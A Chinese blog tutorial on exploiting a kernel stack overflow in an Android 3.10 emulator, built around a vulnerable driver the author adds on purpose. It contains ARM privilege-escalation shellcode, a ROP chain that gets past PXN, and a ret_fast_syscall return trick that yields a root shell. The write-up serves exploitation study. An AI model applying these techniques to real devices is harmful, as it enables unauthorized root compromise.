从0开始学Linux内核之android内核栈溢出ROP利用

最近在研究一个最简单的android内核的栈溢出利用方法,网上的资料很少,就算有也是旧版内核的,新版的内核有了很大的不同,如果放在x86上本应该是很简单的东西,但是arm指令集有很大的不同,所以踩了很多坑

把上一篇改了一下名字,换成了从0开始学Linux内核,毕竟不是专业搞开发的,所以驱动开发没必要学那么深,只要会用,能看懂代码基本就够用了。本篇开始学Linux kernel pwn了,而内核能搞的也就是提权,而提权比较多人搞的就是x86和arm指令集的Linux系统提权了,arm指令集的基本都是安卓root和iOS越狱,而mips指令集的几乎没啥人在搞,感觉是应用场景少。

环境准备

android内核编译

下载相关源码依赖

android内核源码使用的是goldfish[1],直接clone下来,又大又慢又久,在git目录下编译也麻烦,所以想搞那个版本的直接下那个分支的压缩包就好了

本文使用的工具的下载地址:

PS:git clone速度慢的话可以使用国内镜像加速:s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/

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# 下载源码
$ wget https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz
$ tar zxf goldfish-android-goldfish-3.10.tar.gz
# 下载编译工具
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
# 下载一键编译脚本
$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/
# 只需要kernel-toolchain和build-kernel.sh
$ cp qemu-kernel/build-kernel.sh goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/

修改内核

学android kernel pwn最初看的是Github上的一个项目[3],不过依赖的是旧内核,估计是android 3.4以下的内核,在3.10以上的有各种问题,所以我自己做了些修改,也开了一个Github源:https://github.com/Hcamael/android_kernel_pwn

对kernel源码有两点需要修改:

  1. 添加调试符号

首先需要知道自己要编译那个版本的,我编译的是32位Android内核,使用的是goldfish_armv7,配置文件在: arch/arm/configs/goldfish_armv7_defconfig

但是不知道为啥3.10里没有该配置文件,不过用ranchu也一样:

给内核添加调试符号,只需要在上面的这个配置文件中添加:CONFIG_DEBUG_INFO=y,如果是goldfish就需要自己添加,ranchu默认配置已经有了,所以不需要更改。

  1. 添加包含漏洞的驱动

目的是研究Android提权利用方法,所以是自己添加一个包含栈溢出的驱动,该步骤就是学习如何添加自己写的驱动

上面给了一个我的Github项目,把该项目中的vulnerabilities/目录复制到内核源码的驱动目录中:

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$ cp vulnerabilities/ goldfish/drivers/

修改Makefile:

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$ echo "obj-y += vulnerabilities/" >> drivers/Makefile

导入环境变量后,使用一键编译脚本进行编译:

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$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH
$ ./build-kernel.sh --config="ranchu"

PS: 在docker中复现环境的时候遇到一个问题,可以参考:https://stackoverflow.com/questions/42895145/cross-compile-the-kernel

编译好后的内核在/tmp/qemu-kernel目录下,有两个文件,一个zImage,内核启动镜像,一个vmlinux是kernel的binary文件,丢ida里面分析内核,或者给gdb提供符号信息

Android模拟环境准备

内核编译好后,就是搞Android环境了,可以直接使用Android Studio[2]一把梭,但是如果不搞开发的话,感觉Studio太臃肿了,下载也要下半天,不过还好,官方提供了命令行工具,觉得Studio太大的可以只下这个

PS: 记得装java,最新版的java 11不能用,我用的是java 8

建一个目录,然后把下载的tools放到这个目录中

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$ mkdir android_sdk
$ mv tools android_sdk/

首先需要使用tools/bin/sdkmanager装一些工具

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# 用来编译android binary(exp)的,如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖,解决依赖太麻烦了,还是用ndk一把梭方便
$ ./bin/sdkmanager --install "ndk-bundle"
# android模拟器
$ ./bin/sdkmanager --install "emulator"
# avd
$ ./bin/sdkmanager --install "platforms;android-19"
$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
# 其他
$ ./bin/sdkmanager --install "platform-tools"

PS:因为是32位的,所以选择的是armeabi-v7a
PSS: 我一共测试过19, 24, 25,发现在24,25中,自己写的包含漏洞的驱动只有特权用户能访问,没去仔细研究为啥,就先使用低版本的android-19了

创建安卓虚拟设备:

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./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"

启动:

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$ export kernel_path=ranchu_3.10_zImage
或者
$ export kernel_path=goldfish_3.10_zImage
$ ./emulator -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu -s

去测试下我写的exp:

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$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution
$ ./build_and_run.sh

编译好了之后运行,记得要用普通用户运行:

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shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit
/data/local/tmp/stack_buffer_overflow_exploit
start
shell@generic:/ # id
id
uid=0(root) gid=0(root) context=u:r:kernel:s0

Android 内核提权研究

环境能跑通以后,就来说说我的exp是怎么写出来的。

首先说一下,我的环境都是来源于AndroidKernelExploitationPlayground项目[3],但是实际测试的发现,该项目中依赖的估计是3.4的内核,但是现在的emulator要求内核版本大于等于3.10

从内核3.4到3.10有许多变化,首先,对内核的一些函数做了删减修改,所以需要改改驱动的代码,其次就是3.4的内核没有开PXN保护,在内核态可以跳转到用户态的内存空间去执行代码,所以该项目中给的exp是使用shellcode,但是在3.10内核中却开启了PXN保护,无法执行用户态内存中的shellcode

提权思路

搞内核Pwn基本都是一个目的——提权。那么在Linux在怎么把权限从普通用户变成特权用户呢?

一般提权的shellcode长这样:

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asm
(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"
);

这个shellcode提权的思路有三步:

  1. prepare_kernel_cred(0) 创建一个特权用户cred
  2. commit_creds(prepare_kernel_cred(0)); 把当前用户cred设置为该特权cred
  3. MSR CPSR_c,R3 从内核态切换回用户态(详情自己百度这句指令和CPSR寄存器)

切换回用户态后,当前程序的权限已经变为root,这时候就可以执行/bin/sh

再继续深入研究,就涉及到内核的三个结构体:

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$ cat ./arch/arm/include/asm/thread_info.h
......
struct thread_info {
......
struct task_struct *task; /* main task structure */
......
};
......
$ cat ./include/linux/sched.h
......
struct task_struct {
......
const struct cred __rcu *real_cred;
......
};
......
$ cat ./include/linux/cred.h
......
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
......

每个进程都有一个单独thread_info结构体,我们来看看内核是怎么获取到每个进程的thread_info结构体的信息的:

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#define THREAD_SIZE             8192
......
static inline struct thread_info *current_thread_info(void)
{
register unsigned long sp asm ("sp");
return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));
}

有点内核基础知识的应该知道,内核的栈是有大小限制的,在arm32中栈的大小是0x2000,而thread_info的信息储存在栈的最底部

所以,如果我们能获取到当前进程在内核中运行时的其中一个栈地址,我们就能找到thread_info,从而顺藤摸瓜得到cred的地址,如果能任意写内核,则可以修改cred的信息,从而提权

总得来说,内核提权其实只有一条路可走,就是修改cred信息,而commit_creds(prepare_kernel_cred(0));不过是内核提供的修改cred的函数罢了。

我们来通过gdb展示下cred数据:

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$ shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
--------------------------------------

通过gdb可以获取到:$sp : 0xd415bf40

从而计算出栈底地址:0xd415a000

然后我们就能获取到thread_info的信息,然后得到task_struct的地址:0xd4d16680

android_pwn0

接着我们查看task_struct的信息,得到了cred的地址:0xd4167780

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gef> p *(struct task_struct *)0xd4d16680
$2 = {
......
real_cred = 0xd4167780,
cred = 0xd4167780,
......
# 数据太长了,就不截图了

然后查看cred的信息:

android_pwn0

把uid和gid的十六进制转换成十进制,发现就是当前进程的权限

使用ROP绕过PXN来进行android提权

既然我们已经知道了怎么修改权限,那么接下来就研究一下如何利用漏洞来提权,因为是研究利用方式,所以自己造了一个最基础的栈溢出

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int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];

if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}

因为开了PXN,所以没办法使用shellcode,然后我第一个想到的思路就是使用ROP来执行shellcode的操作

这里说一下,不要使用ROPgadget,用这个跑内核的ELF,要跑贼久,推荐使用ROPPER[4]

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$ ropper -f /mnt/hgfs/tmp/android_kernel/ranchu_3.10_vmlinux --nocolor > ranchu_ropper_gadget

然后就是找commit_creds, prepare_kernel_cred这两个函数的地址,在没有开启kalsr的内核中,我们可以直接把vmlinux丢到ida里面,找这两个函数的地址

到这里,我们可以构造出如下的rop链:

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*pc++ = 0x41424344;      // r4
*pc++ = 0xC00B8D68; // ; mov r0, #0; pop {r4, pc}
*pc++ = 0x41424344; // r4
*pc++ = 0xC00430F4; // ; prepare_kernel_cred(0) -> pop {r3-r5, pc}
*pc++ = 0x41424344; // r3
*pc++ = 0x41424344; // r4
*pc++ = 0x41424344; // r5
*pc++ = 0xC0042BFC; // ; commit_creds -> pop {r4-r6, pc}
*pc++ = 0x41424344; // r4
*pc++ = 0x41424344; // r5
*pc++ = 0x41424344; // r6

在成功修改当前进程的权限之后,我们需要把当前进程从内核态切换回用户态,然后在用户态执行/bin/sh,就能提权成功了

但是这里遇到一个问题,在shellcode中,使用的是:

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"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"

我也很容易能找到gadget: msr cpsr_c, r4; pop {r4, pc};

但是却没法成功切换回用户态,网上相关的资料几乎没有,我也找不到问题的原因,在执行完msr cpsr_c, r4指令以后,栈信息会发现变化,导致没法控制pc的跳转

不过后来,我跟踪内核的执行,发现内核本身是通过ret_fast_syscall函数来切换回用户态的:

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$ cat ./arch/arm/kernel/entry-common.S
......
ret_fast_syscall:
UNWIND(.fnstart )
UNWIND(.cantunwind )
disable_irq @ disable interrupts
ldr r1, [tsk, #TI_FLAGS]
tst r1, #_TIF_WORK_MASK
bne fast_work_pending
asm_trace_hardirqs_on

/* perform architecture specific actions before user return */
arch_ret_to_user r1, lr
ct_user_enter

restore_user_regs fast = 1, offset = S_OFF
UNWIND(.fnend )
......
-----------------------------
0xc000df80 <ret_fast_syscall>: cpsid i
0xc000df84 <ret_fast_syscall+4>: ldr r1, [r9]
0xc000df88 <ret_fast_syscall+8>: tst r1, #7
0xc000df8c <ret_fast_syscall+12>: bne 0xc000dfb0 <fast_work_pending>
0xc000df90 <ret_fast_syscall+16>: ldr r1, [sp, #72] ; 0x48
0xc000df94 <ret_fast_syscall+20>: ldr lr, [sp, #68]! ; 0x44
0xc000df98 <ret_fast_syscall+24>: msr SPSR_fsxc, r1
0xc000df9c <ret_fast_syscall+28>: clrex
0xc000dfa0 <ret_fast_syscall+32>: ldmdb sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xc000dfa4 <ret_fast_syscall+36>: nop; (mov r0, r0)
0xc000dfa8 <ret_fast_syscall+40>: add sp, sp, #12
0xc000dfac <ret_fast_syscall+44>: movs pc, lr

经过我测试发现,使用msr SPSR_fsxc, r1可以成功从内核态切换回用户态,但是该指令却只存在于该函数之前,无法找到相关的gadget,之后我想了很多利用该函数的方法,最后测试成功的方法是:

计算有漏洞的溢出函数的栈和ret_fast_syscall函数栈的距离,在使用ROP执行完commit_creds(prepare_kernel_cred(0));之后,使用合适的gadget来修改栈地址(比如: add sp, sp, #0x30; pop {r4, r5, r6, pc};),然后控制pc跳转到0xc000df90 <ret_fast_syscall+16>:,这样程序就相当于执行完了内核的syscall,然后切换回用户进程代码继续执行,在我们的用户态代码中后续执行如下函数,就能成功提权:

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void payload(void)
{
if (getuid() == 0) {
execl("/system/bin/sh", "sh", NULL);
} else {
warnx("failed to get root. How did we even get here?");
}
_exit(0);
}

完整exp可以见我的Github。

ROP只是其中一种利用方法,后续还会研究其他利用方法和在64位android下的利用。

参考

  1. https://android.googlesource.com/kernel/goldfish/
  2. https://developer.android.com/studio/?hl=zh-cn#downloads
  3. https://github.com/Fuzion24/AndroidKernelExploitationPlayground
  4. https://github.com/sashs/Ropper
文章目录
  1. 1. 环境准备
    1. 1.1. android内核编译
      1. 1.1.1. 下载相关源码依赖
      2. 1.1.2. 修改内核
    2. 1.2. Android模拟环境准备
  2. 2. Android 内核提权研究
    1. 2.1. 提权思路
    2. 2.2. 使用ROP绕过PXN来进行android提权
  3. 3. 参考